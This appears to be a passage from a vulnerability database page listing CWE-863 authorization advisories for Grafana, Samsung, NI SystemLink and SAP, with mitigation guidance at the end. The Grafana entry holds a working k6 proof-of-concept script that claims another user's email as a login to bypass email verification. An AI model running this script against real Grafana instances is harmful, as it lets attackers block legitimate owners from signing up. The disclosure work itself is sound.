email) to [bar@example.com](mailto:bar@example.com)\n* Signout.\n* Try to sign up with email [b@example.com](mailto:b@example.com)\n* Warning popup \"User with same email address already exists\"\n\nK6 script (with `verify_email_enabled` set to `false`):\n```js\nimport { check, group } from \"k6\"\nimport http from \"k6/http\"\n\nexport const options = {\n  scenarios: {\n    perVuIter: {\n      executor: \u0027per-vu-iterations\u0027,\n      vus: 1,\n      iterations: 1\n    }\n  }\n}\n\nconst GRAFANA_URL = __ENV.GRAFANA_URL || \"http://localhost:3000\"\n\nexport default function () {\n  group(\"create user_a with email foo@example.com\", () =\u003e {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        \u0027Content-Type\u0027: \"application/json\"\n      }\n    })\n\n    check(response, {\n      \u0027status code is 200\u0027: (r) =\u003e r.status == 200\n    })\n  })\n\n  group(\"change user_a login to bar@example.com\", () =\u003e {\n    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"login\": \"bar@example.com\", // user_b email.\n    }), {\n      headers: {\n        \u0027Content-Type\u0027: \"application/json\"\n      }\n    })\n\n    check(response, {\n      \u0027status code is 200\u0027: (r) =\u003e r.status == 200\n    })\n  })\n\n  http.cookieJar().clear(GRAFANA_URL)\n\n  group(\"create user_b with email bar@example.com\", () =\u003e {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"bar@example.com\",\n      \"username\": \"bar@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        \u0027Content-Type\u0027: \"application/json\"\n      }\n    })\n\n    check(response, {\n      \u0027status code is 200\u0027: (r) =\u003e r.status == 200 // fail\n    })\n  })\n}\n```\n\n### Impact\nBypass email verification.\nPrevent legitimate owner from signing up.",
  "id": "GHSA-3hv4-r2fm-h27f",
  "modified": "2025-02-18T22:29:35Z",
  "published": "2024-02-13T22:25:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6152"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grafana/grafana"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/cve-2023-6152"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250214-0008"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Email Validation Bypass And Preventing Sign Up From Email\u0027s Owner"
}

GHSA-3HW5-M8JJ-M9VV

Vulnerability from github – Published: 2022-07-13 00:01 – Updated: 2022-07-17 00:00
VLAI
Details

Improper authorization in isemtelephony prior to SMR Jul-2022 Release 1 allows attacker to obtain CID without ACCESS_FINE_LOCATION permission.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-30757"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-12T14:15:00Z",
    "severity": "LOW"
  },
  "details": "Improper authorization in isemtelephony prior to SMR Jul-2022 Release 1 allows attacker to obtain CID without ACCESS_FINE_LOCATION permission.",
  "id": "GHSA-3hw5-m8jj-m9vv",
  "modified": "2022-07-17T00:00:45Z",
  "published": "2022-07-13T00:01:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30757"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2022\u0026month=7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3HWP-P2JW-J4XH

Vulnerability from github – Published: 2024-02-20 15:31 – Updated: 2025-02-12 21:31
VLAI
Details

Incorrect permissions in the installation directories for shared SystemLink Elixir based services may allow an authenticated user to potentially enable escalation of privilege via local access.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-1155"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-276",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-20T15:15:09Z",
    "severity": "HIGH"
  },
  "details": "Incorrect permissions in the installation directories for shared SystemLink Elixir based services may allow an authenticated user to potentially enable escalation of privilege via local access.",
  "id": "GHSA-3hwp-p2jw-j4xh",
  "modified": "2025-02-12T21:31:48Z",
  "published": "2024-02-20T15:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1155"
    },
    {
      "type": "WEB",
      "url": "https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/incorrect-permissions-for-shared-systemlink-elixir-based-service.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3HX3-V4G2-HGQP

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-07-13 00:01
VLAI
Details

Under certain conditions, SAP Business One Hana Chef Cookbook, versions - 8.82, 9.0, 9.1, 9.2, 9.3, 10.0, used to install SAP Business One for SAP HANA, allows an attacker to exploit an insecure temporary backup path and to access information which would otherwise be restricted, resulting in Information Disclosure vulnerability highly impacting the confidentiality, integrity and availability of the application.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-27616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-11T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Under certain conditions, SAP Business One Hana Chef Cookbook, versions - 8.82, 9.0, 9.1, 9.2, 9.3, 10.0, used to install SAP Business One for SAP HANA, allows an attacker to exploit an insecure temporary backup path and to access information which would otherwise be restricted, resulting in Information Disclosure vulnerability highly impacting the confidentiality, integrity and availability of the application.",
  "id": "GHSA-3hx3-v4g2-hgqp",
  "modified": "2022-07-13T00:01:13Z",
  "published": "2022-05-24T19:02:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27616"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3049661"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=576094655"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list